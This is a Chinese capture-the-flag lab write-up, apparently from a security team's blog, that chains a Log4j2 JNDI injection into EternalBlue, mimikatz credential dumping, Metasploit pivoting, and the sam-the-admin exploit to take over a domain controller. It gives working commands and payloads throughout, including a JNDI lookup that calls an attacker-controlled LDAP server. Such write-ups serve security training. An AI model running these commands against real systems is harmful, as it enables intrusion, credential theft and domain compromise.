从log4j2到DC
靶场环境
如果在搭建靶机中发现双网卡机器不出网的情况下,可以设置网卡优先级
sudo ip route del default via 10.0.1.7 dev ens38
sudo ip route add default via 10.0.1.7 dev ens38 metric 101
信息收集
nmap -sV -Pn -n -sT --open -p- 172.16.111.54
通过对目标地址全端口扫描,发现了22端口和38080端口开放,为此我们的思路大致为
1、爆破22ssh服务
2、访问38080端口
访问38080端口发现web服务,接下来就是找web相关站点漏洞,以及进行目录扫描。
对该web资产目录扫描发现了如上目录。
发现Log4j2漏洞
可以看到该web站点Accept内存在漏洞点。然后可以利用该log4j2漏洞获得目标机权限。
本机开启JNDIExploit,运行命令如下
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 172.16.100.234
${jndi:ldap://172.16.111.212:1389/TomcatBypass/TomcatEcho}
当然也可以利用TomcatMemshell3直接注入内存马。
在request请求头加入查找flag命令获取第一关flag文件。
cmd:find / -name "*flag*"
执行cat命令即可获取flag内容
flag{redteam.lab-1}
Congratulations, you got this: saul Saul123
该flag文件中还暴露出一个疑似账号密码的字符串saul Saul123,为此我们可以联想到该机器开放的22ssh服务,尝试密码碰撞。当然如果碰撞失败也可以在当前机器写入shell拿到服务器权限。
内网信息收集
发现该网段10.0.1.7服务器存在ms17010漏洞,并且也提示为双网卡机器
获取域用户权限
search ms17_010
use windows/smb/ms17_010_eternalblue
use windows/x64/meterpreter/bind_tcp
set RHOST 0.0.0.0
set payload windows/x64/meterpreter/bind_tcp
use windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.1.7
run
拿到系统权限后,通过mimikatz查看账号密码
load mimikatz
creds_all
发现该服务存在域,并且mimikatz获取了域用户账号root Red12345
进入该服务器shell中,搜索获取flag文件
cmd /c dir /s/a-d/b C:\flag.txt
通过查询该服务器ipconfig发现存在10.0.0.7网段
利用CVE-2021-42287、CVE-2021-42278获取域控权限
利用前段时间爆出的CVE-2021-42287、CVE-2021-42278拿来试一试
exp脚本
https://github.com/WazeHell/sam-the-admin
因域控在第三层网络并且不出网,所以需要利用2层代理网络进行攻击
利用MSF添加了一个Socks5
use server/socks_proxy
set SRVPORT 8889
run
jobs
sessions 2
run autoroute -s 10.0.0.7/24 #旧版
run post/multi/manage/autoroute
mac上运行后发现找不到impacket目录文件,作者在说明里说只支持kali系统,测试发现旧版kali也没有smbexec可执行文件
查看源码发现脚本调用两个可执行文件
fbinary = "/usr/bin/impacket-smbexec"
if options.dump:
fbinary = "/usr/bin/impacket-secretsdump"
getashell = f"KRB5CCNAME='{adminticket}' {fbinary} -target-ip {options.dc_ip} -dc-ip {options.dc_ip} -k -no-pass @'{dcfull}' "
os.system(getashell)
fbinary = "python3 /usr/local/bin/smbexec.py"
if options.dump:
fbinary = "python3 /usr/local/bin/secretsdump.py"
getashell = f"KRB5CCNAME='{adminticket}' {fbinary} -target-ip {options.dc_ip} -dc-ip {options.dc_ip} -k -no-pass @'{dcfull}' "
os.system(getashell)
proxychains4 python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
接下来搜索该DC的flag文件
cmd /c dir /s/a-d/b C:\flag.txt
成功获取到了第三道flag{redteam.lab-3}
总结
原文链接
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章400余篇,自研平台达到31个,目有18个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们。
微信扫码关注该文公众号作者
戳这里提交新闻线索和高质量文章给我们。
来源: qq
点击查看作者最近其他文章